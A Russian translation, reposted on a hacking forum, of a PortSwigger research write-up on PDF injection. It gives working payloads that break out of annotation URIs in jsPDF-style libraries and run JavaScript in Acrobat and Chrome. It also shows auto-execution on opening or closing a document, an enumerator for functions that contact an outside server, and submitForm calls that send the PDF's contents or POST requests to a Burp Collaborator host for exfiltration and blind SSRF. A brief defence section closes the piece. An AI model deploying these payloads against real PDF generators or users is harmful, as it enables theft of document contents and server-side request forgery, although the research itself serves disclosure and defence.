Как я узнал, что инъекция прошла успешно? PDF-файл будет отображаться правильно, если я не вставлю закрывающую скобку. Это доказало, что закрывающая скобка вырывалась из строки и вызывала недопустимый код PDF. Взломать PDF было приятно, но, конечно, мне нужно было убедиться, что я могу выполнять JavaScript. Я посмотрел на отрисованный PDF-код и заметил, что вывод кодируется с использованием фильтра FlateDecode. Я написал небольшой скрипт для блока, и результат секции аннотации выглядел так:
<<
/Type /Annot
/Subtype /Link
/Rect [ 50 746.89 320 711.89 ]
/Border [ 0 0 2 ]
/C [ 0 0 1 ]
/A <<
/Type /Action
/S /URI
/URI (injection))
>>
>>
Как вы можете ясно видеть, строка внедрения закрывает границу текста закрывающей круглой скобкой, которая оставляет существующую закрывающую скобку, что приводит к неправильному отображению PDF-файла:
Отлично, я мог прервать рендеринг PDF, что теперь? Мне нужно было придумать инъекцию, которая вызвала бы некоторый JavaScript - alert(1) о инъекции PDF.
Так же, как векторы XSS зависят от синтаксического анализа браузера, возможность использования инъекций PDF может зависеть от средства визуализации PDF. Я решил начать с Acrobat, потому что думал, что векторы с меньшей вероятностью будут работать в Chrome. Я заметил две вещи: 1) вы можете ввести дополнительные действия с аннотациями и 2) если вы исправите существующую закрывающую скобку, тогда PDF-файл будет отображаться. После некоторых экспериментов я придумал красивую полезную нагрузку, которая вводила дополнительное действие аннотации, выполняла JavaScript и исправляла закрывающую скобку:
/blah)>>/A<</S/JavaScript/JS(app.alert(1)/Type/Action>>/>>(
Сначала я вырываюсь из круглых скобок, затем вырываюсь из словаря, используя >> перед тем, как начать новый словарь аннотаций. /S/JavaScript делает аннотацию на основе JavaScript, а /JS - это место, где хранится JavaScript. В круглых скобках находится наш актуальный JavaScript. Обратите внимание, что вам не нужно избегать скобок, если они сбалансированы. Наконец, я добавляю тип аннотации, заканчиваю словарь и исправляю закрывающую скобку. Это было так круто; Я мог бы создать инъекцию, выполняющую JavaScript, ну и что, не так ли? Вы можете выполнять JavaScript, но у вас нет доступа к DOM, поэтому вы не можете читать файлы cookie. Затем появился Джеймс и предложил украсть содержимое PDF-файла из инъекции. Я начал искать способы получить содержимое PDF-файла. В Acrobat я обнаружил, что вы можете использовать JavaScript для отправки форм без какого-либо взаимодействия с пользователем! Глядя на спецификацию JavaScript API, было довольно просто изменить базовую инъекцию и добавить некоторый JavaScript, который отправлял бы все содержимое кода PDF на внешний сервер в запросе POST:
/blah)>>/A<</S/JavaScript/JS(app.alert(1);
this.submitForm({
cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))
/Type/Action>>/>>(
Предупреждение не требуется; Я просто добавил его, чтобы доказать, что инъекция выполняла JavaScript.
Затем, просто для удовольствия, я рассмотрел возможность кражи содержимого PDF без использования JavaScript. Из спецификации PDF я узнал, что вы можете использовать действие под названием SubmitForm. Я использовал это в прошлом, когда создавал PDF-файл для проверки сканирования в Burp Suite. Это именно то, что следует из названия. У него также есть запись Flags в словаре для управления тем, что отправляется. Ключ словаря Flags принимает одно целочисленное значение, но каждая отдельная настройка управляется двоичным битом. Хороший способ работать с этими настройками - использовать новые двоичные литералы в ES6. Двоичный литерал должен иметь длину 14 бит, потому что всего 14 флагов. В следующем примере все настройки отключены:
0b00000000000000
Чтобы установить флаг, вам сначала нужно найти его битовую позицию (таблица 237 спецификации PDF). В этом случае мы хотим установить флаг SubmitPDF. Поскольку это контролируется 9-м битом, вам просто нужно отсчитать 9 бит справа:
0b00000100000000
Если вы оцените это с помощью JavaScript, это приведет к десятичному значению 256. Другими словами, установка для параметра Flags значения 256 включит флаг SubmitPDF, который вызывает отправку содержимого PDF-файла при отправке формы. Все, что нам нужно сделать, это использовать созданную ранее базовую инъекцию и изменить ее так, чтобы она вызывала действие SubmitForm вместо JavaScript:
jsPDF
Затем я применил свою методику к другой библиотеке PDF - jsPDF - и обнаружил, что она тоже уязвима. Пользоваться этой библиотекой было довольно весело, потому что у них есть API, который может выполняться в браузере и позволит вам создавать PDF-файлы в реальном времени по мере ввода. Я заметил, что, как и библиотека PDP-Lib, они забыли избегать скобок внутри URL-адресов аннотаций. Здесь свойство url было уязвимо:
doc.createAnnotation({bounds:
{x:0,y:10,w:200,h:200},
type:'link',url:`/input`});
//vulnerable
Поэтому я сгенерировал PDF-файл, используя их API, и вставил PDF-код в свойство url:
var doc = new jsPDF();
doc.text(20, 20, 'Hello world!');
doc.addPage('a6','l');
doc.createAnnotation({bounds:
{x:0,y:10,w:200,h:200},type:'link',url:`
/blah)>>/A<</S/JavaScript/JS(app.alert(1)/Type/Action/F 0/(
`});
Я уменьшил вектор, удалив записи типа словаря и ненужную запись F. Затем я оставил висящую скобку, которая будет закрыта существующей. Уменьшение размера инъекции важно, потому что веб-приложение, в которое вы внедряете, может допускать только ограниченное количество символов.
/blah)>>/A<</S/JavaScript/JS(app.alert(1)
Затем я понял, что можно еще больше уменьшить вектор! Acrobat разрешил бы URI и запись JavaScript в одном действии аннотации и с радостью выполнил бы JavaScript:
/)/S/JavaScript/JS(app.alert(1)
Дальнейшие исследования показали, что вы также можете вводить несколько аннотаций. Это означает, что вместо того, чтобы просто вводить действие, вы можете выйти из аннотации и определить свои собственные прямоугольные координаты, чтобы выбрать, какой раздел документа будет доступен для нажатия. Используя эту технику, я смог сделать весь документ кликабельным.
/) >> >>
<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0
0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net
Написание перечислителя
Следующим этапом было посмотреть, как Acrobat обрабатывает PDF-файлы, которые загружаются из файловой системы, а не обслуживаются непосредственно с веб-сайта. В этом случае есть больше ограничений. Например, когда вы пытаетесь отправить форму по внешнему URL-адресу, это вызовет запрос, в котором пользователь должен вручную подтвердить, что он хочет отправить форму. Чтобы обойти эти ограничения, я написал перечислитель/фаззер для вызова каждой функции для каждого объекта, чтобы увидеть, позволяет ли функция мне связаться с внешним сервером без взаимодействия с пользователем.
var doc = new jsPDF();
doc.text(20, 20, 'Hello world!');
doc.addPage('a6','l');
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/JavaScript/JS(
...
for(i in obj){
try {
if(i==='console' || i === 'getURL' || i === 'submitForm'){
continue;
}
if(typeof obj != 'function') {
console.println(i+'='+obj);
}
try {
console.println('call:'+i+'=>'+'='+obj('http://your-id-'+i+'.burpcollaborator.net?'+i,2,3));
PortSwigger/portable-data-exfiltration
This repo contains all the injections mentioned in my talk and enumerators. - PortSwigger/portable-data-exfiltration
Перечислитель сначала запускает цикл for для глобального объекта this. Я пропустил методы getURL, submitForm и объект консоли, потому что знал, что они вызывают запросы и не позволяют связываться с внешними серверами, если вы не нажмете Разрешить. Блоки try-catch используются для предотвращения сбоя цикла, если возникает исключение, потому что функция не может быть вызвана или свойство не является допустимой функцией. Burp Collaborator используется, чтобы увидеть, был ли установлен успешный контакт с сервером - я добавляю проверяемый ключ в поддомен, чтобы Collaborator показывал, какое свойство разрешило взаимодействие.
Используя этот фаззер, я обнаружил метод, который можно вызвать для связи с внешним сервером: CBSharedReviewIfOfflineDialog вызовет взаимодействие с DNS, не требуя от пользователя нажатия кнопки Разрешить. Затем вы можете использовать DNS для эксфильтрации содержимого PDF-файла или другой информации. Однако для этого по-прежнему требуется щелчок, поскольку наша инъекция использует действие аннотации.
Создание аннотаций без взаимодействия
До сих пор для векторов, которые я продемонстрировал, требуется щелчок, чтобы активировать действие из аннотации. Обычно Джеймс задавал вопрос "Можем ли мы выполнить автоматически?". Я просмотрел спецификацию PDF и заметил некоторые интересные особенности аннотаций:
Записи PV и PI позволяют различать открытые и видимые страницы. В любой момент времени только одна страница считается открытой в приложении просмотра, в то время как более одной страницы может быть видно, в зависимости от макета страницы ".
Мы можем добавить запись PV в словарь, и аннотация будет запускаться в Acrobat автоматически! Не только это, но мы также можем автоматически выполнять полезную нагрузку, когда PDF-документ закрывается с помощью записи ПК. Злоумышленник может отследить вас, когда вы откроете PDF-файл и закроете его.
Вот как выполнить автоматическое выполнение из аннотации:
var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)
>> >>
<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});
doc.text(20, 20, 'Auto execute');
Когда вы закроете PDF-файл, сработает эта аннотация:
var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>
<</Subtype /Screen /Rect [0 0 900 900] /AA <</PC <</S/JavaScript/JS(app.alert(1))>>/(`});
doc.text(20, 20, 'Close me');
Chrome
Я много говорил об Acrobat, но как насчет PDFium (программы для чтения PDF-файлов Chrome)? Chrome непростой; поверхность атаки намного меньше, так как его поддержка JavaScript более ограничена, чем у Acrobat. Первое, что я заметил, это то, что JavaScript вообще не выполнялся в аннотациях, поэтому мои доказательства концепций не работали. Чтобы векторы работали в Chrome, мне нужно было хотя бы выполнить JavaScript внутри аннотаций. Но сначала я решил попробовать перезаписать URL в аннотации. Это было довольно просто. Я мог бы использовать базовую инъекцию, которую придумал раньше, и просто ввести другое действие с записью URI, которая перезапишет существующий URL:
var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)
/Type/Action>>/F 0>>(`});
doc.text(20, 20, 'Test text');
При щелчке по нему будет выполнен переход на portswigger.net. Затем я двинулся дальше и попробовал разные инъекции для вызова JavaScript, но каждый раз это терпело неудачу. Я думал, что это невозможно сделать. Я сделал шаг назад и попытался вручную создать весь PDF-файл, который будет вызывать JavaScript при щелчке мышью в Chrome без инъекции. При использовании кнопки AcroForm Chrome разрешал выполнение JavaScript, но проблема заключалась в том, что требовались ссылки на части PDF. Мне удалось создать инъекцию, которая запускала бы JavaScript при щелчке по JSPDF:
var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});
doc.text(20, 20, 'Click me test');
Как видите, приведенный выше вектор требует знания структуры PDF. [3 0 R] относится к конкретному объекту PDF, и если бы мы проводили атаку слепым внедрением PDF-файла, мы бы не узнали его структуру. Тем не менее, следующий этап - это попытка отправки формы. Мы можем использовать для этого функцию submitForm, и поскольку для аннотации требуется щелчок, Chrome разрешит это:
/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah
Это работает, но беспорядочно и требует знания структуры PDF. Мы можем значительно уменьшить его и избавиться от зависимости от структуры PDF:
#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(
app.alert(1)
)/Type/Action/F 4/DA(blah
Есть еще код, который мы можем удалить:
var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(A)>>/A<</S/JavaScript/JS(app.alert(1))/(`});
doc.text(20, 20, 'Test text');
Приведенный выше код прерывает аннотацию, создает новую и делает всю страницу интерактивной. Для выполнения JavaScript мы должны вставить кнопку и дать ей любой текст, используя запись "T". Затем мы можем, наконец, внедрить наш код JavaScript, используя запись JS в словаре. Выполнение JavaScript в Chrome - это здорово. Я никогда не думал, что это возможно, когда начал это исследование.
Затем я посмотрел на функцию submitForm, чтобы украсть содержимое PDF-файла. Мы знаем, что можем вызвать функцию, и она связывается с внешним сервером, как показано в одном из приведенных выше примеров, но поддерживает ли он полную спецификацию Acrobat? Я посмотрел исходный код PDFium, но функция не поддерживает SubmitAsPDF
...
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(
(function(){
var obj = this,
data = '',
chunks = [],
counter = 0,
added = false, i, props = [];
for(i in obj) {
props.push(i);
}
PortSwigger/portable-data-exfiltration
This repo contains all the injections mentioned in my talk and enumerators. - PortSwigger/portable-data-exfiltration
Проверяя вывод перечислителя, я пробовал вызывать различные функции в надежде сделать внешние запросы или собрать информацию из PDF. В конце концов, я нашел очень интересную функцию getPageNthWord, которая могла извлекать слова из документа PDF, тем самым позволяя мне украсть содержимое. В функции есть небольшая ошибка, из-за которой первое слово иногда не извлекается. Но по большей части он будет извлекать большинство слов:
var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(
words = [];
for(page=0;page<this.numPages;page++) {
for(wordPos=0;wordPos<this.getPageNumWords(page);wordPos++) {
word = this.getPageNthWord(page, wordPos, true);
words.push(word);
}
}
app.alert(words);
`});
doc.text(20, 20, 'Click me test');
doc.text(20, 40, 'Abc Def');
doc.text(20, 60, 'Some word');
Я был очень доволен собой, что могу украсть содержимое PDF-файла в Chrome, поскольку никогда не думал, что это возможно. Объединение этого с вектором submitForm позволит вам отправлять данные на внешний сервер. Единственным недостатком является то, что для этого требуется щелчок. Мне было интересно, можно ли выполнить JavaScript, не щелкнув Chrome. Еще раз взглянув на спецификацию PDF, я заметил, что в словаре аннотаций есть еще одна запись под названием "E", которая будет выполнять аннотацию, когда мышь входит в область аннотации - в основном, при наведении курсора мыши. К сожалению, это не считается взаимодействием с пользователем для отправки формы. Таким образом, хотя вы можете выполнять JavaScript, вы ничего не можете сделать с данными, потому что не можете отправить их на внешний сервер. Если вы можете заставить Chrome отправлять данные с этим событием, сообщите мне, потому что мне было бы очень интересно узнать, как это сделать. Во всяком случае, вот код, запускающий код при наведения мыши:
var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>
<</Type /Annot /Subtype /Widget /Parent<</FT/Btn/T(a)>> /Rect [0 0 900 900] /AA <</E <</S/JavaScript/JS(app.alert(1))>>/(`});
doc.text(20, 20, 'Test');
SSRF в PDFium/Acrobat
Можно отправить запрос POST с помощью PDFium/Acrobat для выполнения атаки SSRF. Это будет слепой SSRF, поскольку вы можете сделать запрос POST, но не можете прочитать ответ. Чтобы создать запрос POST, вы можете использовать ключ словаря /parent, как было продемонстрировано ранее, чтобы назначить элемент формы аннотации, разрешив выполнение JavaScript. Но вместо использования кнопки, как мы делали раньше, вы можете назначить текстовое поле (/Tx) с ключами словаря имени параметра (/T) и значения параметра (/V). Обратите внимание, как вам нужно передать имена параметров, которые вы хотите использовать, в функцию submitForm в виде массива:
#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Tx/T(foo)/V(bar)>>/A<</S/JavaScript/JS(
app.alert(1);
this.submitForm('https://aiws4u6uubgfdag94xvc5wbrfilc91.burpcollaborator.net', false, false, ['foo']);
)/(
Вы даже можете отправлять необработанные новые строки, что может быть полезно при объединении других атак, таких как куча запросов. Результат POST-запроса можно увидеть в следующем запросе Collaborator:
Наконец, я хочу закончить гибридную инъекцию Chrome и Acrobat PDF. Первая часть внедряет JavaScript в существующую аннотацию для выполнения JavaScript в Acrobat. Вторая часть выходит за пределы аннотации и вводит новую аннотацию, которая определяет новую интерактивную область для Chrome. Я снова использую трюк с Acroform, чтобы вставить кнопку, чтобы JavaScript выполнялся:
var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)/S/JavaScript/JS(app.alert(1))/Type/Action>> >> <</Type/Annot/Rect[0 0 900 700]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(app.alert(1)`});
doc.text(20, 20, 'Click me Acrobat');
doc.text(20, 60, 'Click me Chrome');
Загрузка PDF-файлов с помощью техники "formcalc"
При проведении этого исследования я столкнулся с HR-приложением, которое позволяло загружать документы в формате PDF. PDF-файл не был проверен приложением, и в него можно было встроить произвольный JavaScript-код. Я вспомнил фантастическую технику @InsertScript, которая позволяла делать запросы из файла PDF для чтения ресурсов того же происхождения с помощью formcalc.
Я пробовал эту атаку, но она не удалась, потому что WAF блокировал запросы от пользовательского агента Acrobat. Затем я попробовал кэшированные ресурсы и обнаружил, что WAF полностью пропустит это - он никогда не увидит запрос, потому что ресурс был загружен через кеш. Я попытался использовать эту технику с PDF-инъекцией, но, к сожалению, мне не удалось придумать способ инъекции formcalc или вызова formcalc из JavaScript без использования ключа словаря AcroForm в трейлере. Если кому-то удастся это сделать, пожалуйста, свяжитесь с нами, потому что мне было бы очень интересно.
Защита
Если вы пишете библиотеку PDF, рекомендуется избегать скобок и обратной косой черты при принятии пользовательского ввода в текстовых потоках или URI аннотаций. Как разработчик, вы можете использовать инъекции, упомянутые в этом документе, чтобы убедиться, что любой пользовательский ввод не вызывает инъекции PDF. Рассмотрите возможность выполнения проверки любого содержимого, входящего в PDF-файлы, чтобы убедиться, что вы не можете внедрить PDF-код.
Заключение
- Уязвимые библиотеки могут сделать ввод пользователя внутри PDF-файлов опасным, поскольку не избегают скобок и обратной косой черты.
- Четкая цель помогает при решении, казалось бы, невозможных проблем, а настойчивость окупается при попытке достичь этих целей.
- Одна простая ссылка может поставить под угрозу все содержимое неизвестного PDF-файла.
Примеры файлов
Вы можете скачать все примеры инъекций в этом техническом документе по адресу:
https://github.com/PortSwigger/portable-data-exfiltration/tree/main/PDF-research-samples
Благодарности
Я ничего не знал о структуре PDF-файлов, пока не посмотрел доклад Анж Альбертини о создании собственного PDF-файла вручную. Он очень меня вдохновляет, и без его учебных материалов этот пост никогда бы не был сделан. Я также хотел бы поблагодарить Алекса "InsertScript" Инфюра, который освещал PDF-файлы в своем беспорядке с веб-презентацией. Это поразило всех, когда он продемонстрировал, на что способен PDF. Спасибо вам обоим.
Я также хотел бы поблагодарить Ben Sadeghipour и Cody Brocious за идею выполнения SSRF-атаки из PDF-файла в их отличной презентации.
Источник: https://portswigger.net/research/portable-data-exfiltration
Автор перевода: yashechka
Переведено специально для https://xss.pro
Последнее редактирование: